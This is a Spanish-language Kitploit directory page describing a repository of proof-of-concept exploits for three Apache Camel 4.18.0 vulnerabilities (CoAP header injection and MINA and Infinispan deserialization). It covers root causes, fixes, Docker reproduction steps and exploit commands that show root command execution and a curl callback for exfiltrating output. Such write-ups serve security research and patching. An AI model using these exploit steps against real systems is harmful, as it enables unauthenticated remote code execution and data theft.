Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-33453 — Proporciona exploits de prueba de concepto funcionales y análisis detallado para tres vulnerabilidades críticas de Apache Camel, incluyendo inyección de cabeceras CoAP y deserialización insegura que conduce a ejecución remota de código. | Kitploit
Herramientas/GitHubGitHub/dinosn/cve-2026-33453
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed TeamingExplotación de Binarios
GitHubdinosn/cve-2026-33453

CVE-2026-33453

Proporciona exploits de prueba de concepto funcionales y análisis detallado para tres vulnerabilidades críticas de Apache Camel, incluyendo inyección de cabeceras CoAP y deserialización insegura que conduce a ejecución remota de código.

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Apache Camel 4.18.0 — Evaluación de Seguridad CVE

Tres vulnerabilidades críticas en Apache Camel 4.18.0, descubiertas de forma independiente y validadas con exploits de prueba de concepto funcionales.

CVEComponenteTipoCVSSVeredicto
CVE-2026-33453camel-coapInyección de Cabeceras → RCE10.0 CríticoExplotable
CVE-2026-40473camel-minaDeserialización Insegura → RCE9.8 CríticoExplotable
CVE-2026-40858camel-infinispanDeserialización Insegura8.8 AltoExplotable

CVE-2026-33453: Inyección de Cabeceras CoAP → Ejecución Remota de Código

Componente: camel-coap — CamelCoapResource.java:103-109 CWE: CWE-915 (Modificación Controlada Incorrectamente de Atributos de Objetos) Corregido en: Camel 4.18.1 / 4.14.6

Causa Raíz

CamelCoapResource.handleRequest() mapea los parámetros de consulta URI de CoAP directamente en las cabeceras del Camel Exchange mediante setHeader() sin HeaderFilterStrategy. CoAPEndpoint extiende DefaultEndpoint en lugar de DefaultHeaderFilterStrategyEndpoint, por lo que cualquier cliente no autenticado puede inyectar cabeceras internas con prefijo Camel*.

Cuando la ruta reenvía a camel-exec, las cabeceras controladas por el atacante CamelExecCommandExecutable y CamelExecCommandArgs sobrescriben el comando configurado, logrando RCE pre-autenticado mediante un único paquete UDP.

root@kitploit:~
// CamelCoapResource.java:103-109 — SIN HeaderFilterStrategy
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    if (i == -1) {
        camelExchange.getIn().setHeader(s, "");
    } else {
        camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
    }
}

Resultado del PoC

PoC RCE CoAP

root@kitploit:~
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Respuesta: 2.05
[+] Salida del comando: cf6ee154412e

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Salida del comando: app bin boot dev etc home lib ...

CVE-2026-40473: Deserialización Insegura MINA → Ejecución Remota de Código

Componente: camel-mina — MinaConverter.java:60-63 CWE: CWE-502 (Deserialización de Datos No Confiables) Corregido en: Camel 4.18.2 / 4.14.6 / 4.20.0

Causa Raíz

MinaConverter.toObjectInput(IoBuffer) crea un java.io.ObjectInputStream crudo sin ObjectInputFilter. Cuando un endpoint MINA está configurado con allowDefaultCodec=false, los datos TCP crudos llegan como un IoBuffer y alcanzan el convertidor de tipos de Camel, que llama a este método — envolviendo bytes de red controlados por el atacante en un ObjectInputStream sin filtrar.

root@kitploit:~
// MinaConverter.java:60-63 — SIN ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = toInputStream(buffer);
    return new ObjectInputStream(is);  // bytes controlados por el atacante, SIN FILTRO
}

Ruta de ataque: El exploit apunta a un endpoint TCP MINA con allowDefaultCodec=false (puerto 9879 en el PoC). Esto evita por completo la capa de codec de MINA — la ObjectSerializationCodecFactory tiene su propia lista blanca ClassNameMatcher que de otro modo bloquearía clases arbitrarias. Con el codec deshabilitado, los bytes crudos fluyen directamente a MinaConverter.toObjectInput() que crea un ObjectInputStream estándar con cero filtrado de clases.

Una cadena de gadgets CommonsCollections6 (a través de ysoserial) logra ejecución arbitraria de comandos como root. La salida del comando se exfiltra mediante un callback curl al atacante.

Resultado del PoC

PoC RCE MINA

root@kitploit:~
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Salida del comando:
    uid=0(root) gid=0(root) groups=0(root)
[+] CONFIRMADO: CVE-2026-40473 RCE — comando ejecutado mediante deserialización

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Salida del comando:
    Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar  8 14:41:59 UTC 2026 aarch64 GNU/Linux

Reproducción de CVE-2026-40473 Paso a Paso

Requisitos Previos

  • Docker y Docker Compose
  • Python 3.8+
  • Java 17+ (para ysoserial)
  • ysoserial — ysoserial-all.jar (gadget CommonsCollections6)

Paso 1: Construir e Iniciar el Servidor Vulnerable

root@kitploit:~
cd poc/
docker compose up -d --build

Espere a que el contenedor se inicie y luego verifique:

root@kitploit:~
docker logs vuln-camel-mina

Debería ver:

Configuración MINA

root@kitploit:~
[*] Servidor MINA vulnerable iniciado
[*] Puerto 9877: endpoint transferExchange (deser Java)
[*] Puerto 9878: endpoint codec de serialización de objetos
[*] Puerto 9879: endpoint TCP crudo (MinaConverter.toObjectInput)
[*] Esperando conexiones...

El puerto 9879 es el objetivo — utiliza allowDefaultCodec=false, que deshabilita el filtro de codec de MINA y permite que el IoBuffer crudo llegue al MinaConverter.toObjectInput() sin filtrar de Camel.

Paso 2: Confirmar la Deserialización (Modo Sonda)

Primero, verifique que el endpoint acepta y deserializa objetos Java arbitrarios sin ObjectInputFilter:

root@kitploit:~
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

Sonda MINA

root@kitploit:~
[*] Modo sonda — confirmando deserialización (sin RCE)
[*] Payload: HashMap (82 bytes, crudo — sin marco MINA)
[+] Conectado al endpoint MINA
[+] Payload enviado
[+] Los datos llegaron a readObject() sin rechazo de filtro

La sonda envía un HashMap serializado. El servidor lo deserializa mediante ObjectInputStream.readObject() sin InvalidClassException — confirmando cero filtrado de clases.

Paso 3: Ejecutar Comandos (RCE Completo)

Con ysoserial disponible, explote la deserialización sin filtrar para ejecución arbitraria de comandos:

root@kitploit:~
# Ejecutar 'id' — devuelve uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# Leer archivos
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'

# Información del sistema
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'

El exploit genera una cadena de gadgets CommonsCollections6, la envía como bytes crudos al puerto 9879 y captura la salida del comando mediante un listener de callback curl.

Opciones del Exploit

root@kitploit:~
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
                                       [--gadget GADGET] [--probe] [--raw]
                                       target [port] [command]

  target           IP/hostname objetivo
  port             Puerto TCP MINA (por defecto: 9879)
  command          Comando a ejecutar (por defecto: id)
  --ysoserial      Ruta a ysoserial.jar (auto-detectado si no se establece)
  --callback-host  Host que el contenedor usa para alcanzarte (por defecto: host.docker.internal)
  --gadget         Cadena de gadgets ysoserial (por defecto: auto — prueba CC6, CC5, CC1)
  --probe          Solo modo sonda — confirmar deserialización sin RCE
  --raw            Enviar payload crudo sin marco de 4 bytes MINA (auto-habilitado para el puerto 9879)

Nota: El --callback-host por defecto es host.docker.internal (Docker Desktop). Si se ejecuta en Linux sin Docker Desktop, use --callback-host 172.17.0.1 o su IP de puente Docker.

Paso 4: Limpieza

root@kitploit:~
cd poc/
docker compose down

CVE-2026-40858: Deserialización Insegura Infinispan

Componente: camel-infinispan — DefaultExchangeHolderUtils.java:46-53 CWE: CWE-502 (Deserialización de Datos No Confiables) Corregido en: Camel 4.18.2 / 4.14.7 / 4.20.0

Causa Raíz

DefaultExchangeHolderUtils.deserialize(byte[]) crea un ClassLoadingAwareObjectInputStream sin ObjectInputFilter. El DefaultExchangeHolderProtoAdapter enruta los bytes de caché de Infinispan directamente a este método. Un atacante con acceso de escritura a la caché (puerto Hot Rod 11222 o API REST) inyecta un payload serializado malicioso que se deserializa cuando el repositorio de agregación obtiene la clave.

Este es el mismo patrón de vulnerabilidad que CVE-2024-22369, CVE-2024-23114 y CVE-2026-25747 — todas instancias sin corregir de readObject() sin ObjectInputFilter en las rutas de deserialización de Camel.

root@kitploit:~
// DefaultExchangeHolderUtils.java:46-53 — SIN ObjectInputFilter
static DefaultExchangeHolder deserialize(byte[] bytes) {
    try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
         ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
        return (DefaultExchangeHolder) ois.readObject();  // controlado por el atacante
    }
}

Código Vulnerable

Código Vulnerable Infinispan


Código Vulnerable Anotado

Código Vulnerable Anotado


Reproducción de los Tres CVEs

Requisitos Previos

  • Docker y Docker Compose
  • Python 3.8+
  • Java 17+ (para ysoserial)
  • ysoserial para cadenas de gadgets RCE completas (CVE-2026-40473)

Construir y Ejecutar

root@kitploit:~
cd poc/
docker compose up -d --build

Esto inicia:

  • vuln-camel-coap — endpoint CoAP en el puerto UDP 5683 con ruta camel-exec
  • vuln-camel-mina — endpoints TCP MINA en los puertos 9877 (transferExchange), 9878 (ObjectSerializationCodecFactory) y 9879 (TCP crudo — objetivo principal de ataque)
  • infinispan — servidor Infinispan en el puerto 11222
  • vuln-camel-infinispan — repositorio de agregación Camel respaldado por Infinispan

Ejecutar Exploits

root@kitploit:~
# CVE-2026-33453: Inyección de Cabeceras CoAP → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'

# CVE-2026-40473: Deserialización Insegura MINA → RCE (ver instrucciones detalladas arriba)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# CVE-2026-40858: Deserialización Insegura Infinispan
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222

Limpieza

root@kitploit:~
cd poc/
docker compose down

Proceso de Evaluación

Esta evaluación se realizó utilizando el framework de investigación de seguridad autónoma RAPTOR:

  1. Investigación — Identificó los 3 CVEs, cruzó referencias de commits de corrección para determinar Apache Camel 4.18.0 como la única versión vulnerable
  2. Adquisición de código fuente — Descargó los componentes vulnerables mediante git sparse-checkout (camel-coap, camel-mina, camel-infinispan)
  3. Escaneo (/scan) — Descubrimiento automatizado de vulnerabilidades en los 3 componentes
  4. Comprensión (/understand --map) — Mapeo de la superficie de ataque: puntos de entrada, límites de confianza, sumideros, flujos de datos sin verificar
  5. Validación (/validate) — Pipeline completo de validación de explotabilidad en 8 etapas (Etapas 0 → A → B → C → D → E → F → 1) confirmando que los 3 hallazgos son reales, alcanzables y explotables
  6. Explotación (/exploit) — Desarrollo de PoC funcionales con entorno de pruebas basado en Docker
  7. Documentación — Capturas de pantalla, informe de exploit y este README

Correcciones

CVEVersión de CorrecciónCambio
CVE-2026-334534.18.1 / 4.14.6CoAPEndpoint → extiende DefaultHeaderFilterStrategyEndpoint; CoAPComponent → implementa HeaderFilterStrategyComponent
CVE-2026-404734.18.2 / 4.14.6 / 4.20.0Se añadió ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") antes de readObject()
CVE-2026-408584.18.2 / 4.14.7 / 4.20.0Se añadió lista blanca ObjectInputFilter (mismo patrón); recurre al filtro de serialización JVM si está configurado

Aviso Legal

Esta investigación es solo para pruebas de seguridad autorizadas y fines educativos. Todos los exploits se probaron contra contenedores Docker construidos localmente que ejecutan software vulnerable. Actualice a las versiones corregidas listadas arriba.

Descargar herramienta